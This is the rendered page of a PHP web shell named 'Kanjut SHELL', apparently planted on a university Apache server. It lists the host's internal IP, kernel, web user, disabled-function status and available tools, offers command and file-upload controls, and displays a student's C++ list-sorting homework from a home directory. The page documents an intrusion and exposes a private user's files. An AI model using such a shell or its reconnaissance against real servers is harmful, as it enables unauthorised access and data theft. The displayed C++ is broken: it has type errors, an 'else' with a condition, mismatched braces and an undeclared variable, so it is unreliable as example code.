Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 3.128.31.76
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0705) :  /home/bsjackson/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/bsjackson/hw4.cpp
//
//	p 137
//	Abstract DT - List: array of items with var. length
//	read strings from a file and put them in the list, out the strings

#include <iostream>
using namespace std;

const int MAX = 50;

class List
{
	string data[MAX];
	int length;
	char op;
public:
	List() { length = 0;   }
	int Length() const
	{	return length;	}
	void Insert(string item)
	{	data[length] = item;
		length ++;
	}
	void Print() const
	{	for(int i=0; i<length; i++)
			cout << data[i] << " ";
		cout << "\n";
	}
	// sequential search, p.139
	bool IsPresent(string item) const
	{	bool found = false;
		for(int i=0; i<length && !found; i++)
			if(data[i] == item) found = true;
		return found;
	}


	void SelectionSort() //p140 ascending order
	{
		int temp;
		int passCount;	
		int minIndex;
		for(passCount=0; passCount<length-1; passCount++)
		{	minIndex = passCount;
			for(int k=passCount+1; k<length; k++)
			{	if( data[minIndex] > data[k] )	minIndex = k;}
			temp = data[minIndex]; //swap
			data[minIndex] = data[passCount];
			data[passCount] = temp;
		}
	}
	void SelectionSort_R() //descending
	{
		int temp;
		int passCount;
                int maxIndex;
                for(passCount=0; passCount<length-1; passCount++)
                {       maxIndex = passCount;
                        for(int k=passCount+1; k<length; k++)
                        {       if( data[maxIndex] < data[k] )  maxIndex = k;}
                        temp = data[maxIndex]; //swap
                        data[maxIndex] = data[passCount];
                        data[passCount] = temp;
                }
        }

};

void menu()
	
{
        cout << "  String List Operations\n";
        cout << "====================\n";
        cout << "I      Insert a string to the list.\n";
        cout << "F      Find out if the item is in the list.\n";
	cout << "A      Sort list in ascending order.\n";
	cout << "D      Sort list in descending order.\n";
	cout << "S      Show the string list.\n";
        cout << "Q       Quit.\n";
        cout << "--------------------\n";
        cout << "Your option is:  ";
        cin >> op;
}


int main() 
{	
	List real;
	char op;
	string item;

	menu();
	cin >> op;

	while(toupper(op) != 'Q')
	{
		if (toupper(op) == 'I')
		{	cout << "Input the string: ";
			cin >> item;
			real.Insert(item);
			cout << "The list is - ";
			real.Print();
		}
		else (toupper(op) == 'D')
                {       real.SelectionSort_R();
                        cout << "The list is - ";
                        real.Print();
                }  
		else if(toupper(op) == 'A')
		{	real.SelectionSort();
			cout << "The list is - ";
			real.Print();
		{
		
        	menu();
		cin >> op;
	}


	return 0;


}

Stv3n404 - 2023